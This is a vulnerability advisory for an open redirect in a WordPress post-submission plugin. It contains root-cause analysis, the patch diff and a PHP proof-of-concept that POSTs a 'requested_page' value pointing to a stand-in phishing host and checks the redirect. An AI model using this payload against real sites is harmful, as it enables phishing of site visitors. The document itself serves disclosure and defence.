Atomic Edge analysis of CVE-2026-1296:
The Frontend Post Submission Manager Lite WordPress plugin contains an unauthenticated open redirect vulnerability in versions up to and including 1.2.7. The vulnerability exists in the plugin’s login handling logic, allowing attackers to redirect users to arbitrary external websites.
Atomic Edge research identifies the root cause as insufficient validation of the `requested_page` POST parameter within the `verify_username_password` function. The vulnerable code is located in `/frontend-post-submission-manager-lite/includes/classes/class-fpsml-shortcode.php`. The function uses `wp_redirect()` on lines 96, 105, and 171, passing user-controlled input from `$_POST[‘requested_page’]` and `$_POST[‘redirect_to’]` directly to the redirect function without a safety check. The `esc_url()` function used on line 96 does not prevent open redirects to external domains.
Exploitation requires an attacker to trick a user into submitting a crafted login form or clicking a link that triggers the plugin’s login failure or validation logic. The attack vector is an HTTP POST request containing a `requested_page` parameter set to an external URL. For example, a payload like `requested_page=https://attacker.com` submitted to a page with the plugin’s login shortcode would trigger a redirect upon a failed or empty login attempt. No authentication is required.
The patch in version 1.2.8 replaces all instances of `wp_redirect()` with `wp_safe_redirect()` in the affected file. The `wp_safe_redirect()` function validates that the redirect target is a local, same-host URL, preventing redirection to external domains. The behavioral change is that a malicious external URL in the `requested_page` parameter will now cause the redirect to fail, defaulting to the site’s homepage instead of following the attacker’s link.
Successful exploitation allows an attacker to redirect a victim to a malicious website under their control. This can be used for phishing campaigns, malware distribution, or as a step in a broader attack chain to steal credentials or session cookies. The impact is limited to the client-side redirection of the user’s browser, with no direct server compromise.
--- a/frontend-post-submission-manager-lite/frontend-post-submission-manager-lite.php
+++ b/frontend-post-submission-manager-lite/frontend-post-submission-manager-lite.php
@@ -5,7 +5,7 @@
/*
Plugin Name: Frontend Post Submission Manager Lite
Description: A plugin to submit and manage WordPress posts from frontend with or without logging in
- Version: 1.2.7
+ Version: 1.2.8
Author: WP Shuffle
Author URI: http://wpshuffle.com
Plugin URI: http://wpshuffle.com/wordpress-plugins/frontend-post-submission-manager-lite
--- a/frontend-post-submission-manager-lite/includes/classes/admin/class-fpsml-review.php
+++ b/frontend-post-submission-manager-lite/includes/classes/admin/class-fpsml-review.php
@@ -10,7 +10,7 @@
function save_review_notice_preference() {
if (isset($_POST['fpsml_hide_review_notice'], $_POST['fpsml_hide_review_notice_field']) && $_POST['fpsml_hide_review_notice'] == 1 && wp_verify_nonce($_POST['fpsml_hide_review_notice_field'], 'fpsml_hide_review_notice')) {
update_user_meta(get_current_user_id(), 'fpsml_hide_review_notice', true);
- wp_redirect(add_query_arg(array('fpsml_review_notice_saved' => '1'), wp_get_referer()));
+ wp_safe_redirect(add_query_arg(array('fpsml_review_notice_saved' => '1'), wp_get_referer()));
}
}
--- a/frontend-post-submission-manager-lite/includes/classes/class-fpsml-shortcode.php
+++ b/frontend-post-submission-manager-lite/includes/classes/class-fpsml-shortcode.php
@@ -87,7 +87,7 @@
$page_viewed = basename($_SERVER['REQUEST_URI']);
if ($page_viewed == "wp-login.php" && $_SERVER['REQUEST_METHOD'] == 'GET') {
- wp_redirect($login_page);
+ wp_safe_redirect($login_page);
exit;
}
}
@@ -96,7 +96,7 @@
function login_failed() {
if (isset($_POST['requested_page'])) {
$login_page = esc_url($_POST['requested_page']);
- wp_redirect($login_page . '?login=failed');
+ wp_safe_redirect($login_page . '?login=failed');
exit;
}
}
@@ -105,7 +105,7 @@
if (isset($_POST['requested_page'])) {
$login_page = esc_url($_POST['requested_page']);
if ($username == "" || $password == "") {
- wp_redirect($login_page . "?login=empty");
+ wp_safe_redirect($login_page . "?login=empty");
exit;
} else {
@@ -171,19 +171,19 @@
/* Check if captcha is filled */
if (empty($captcha)) {
- wp_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
+ wp_safe_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
exit;
} else {
$secret_key = (!empty($form_details['security']['secret_key'])) ? $form_details['security']['secret_key'] : '';
$captcha_response = wp_remote_get("https://www.google.com/recaptcha/api/siteverify?secret=" . $secret_key . "&response=" . $captcha);
if (is_wp_error($captcha_response)) {
- wp_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
+ wp_safe_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
exit;
} else {
$captcha_response = json_decode($captcha_response['body']);
if ($captcha_response->success == false) {
- wp_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
+ wp_safe_redirect(esc_url($_POST['redirect_to']) . '/?login=captcha_error');
exit;
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1296 - Frontend Post Submission Manager Lite <= 1.2.7 - Unauthenticated Open Redirect via 'requested_page' Parameter
<?php
$target_url = 'http://vulnerable-wordpress-site.com/'; // Replace with target site URL
// This PoC simulates a POST request to a page where the plugin's login form is embedded.
// It sets the 'requested_page' parameter to an external attacker-controlled domain.
// A failed login condition triggers the open redirect.
$post_data = array(
'log' => 'invaliduser', // Invalid username to trigger login failure
'pwd' => 'invalidpass', // Invalid password
'requested_page' => 'https://evil-attacker.com/phishing', // The malicious redirect target
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url); // The page containing the plugin's login form
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Do NOT follow redirects automatically; we want to see the Location header
curl_setopt($ch, CURLOPT_HEADER, true); // Capture headers to see the redirect
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the response contains a redirect to the malicious site
if (preg_match('/^Location:s*' . preg_quote($post_data['requested_page'], '/') . '/mi', $response)) {
echo "[+] VULNERABLE: The site redirected to the malicious URL.n";
echo " Location Header: " . $post_data['requested_page'] . "n";
} else {
echo "[-] The site may be patched or the exploit conditions were not met.n";
echo " HTTP Code: $http_coden";
}
?>
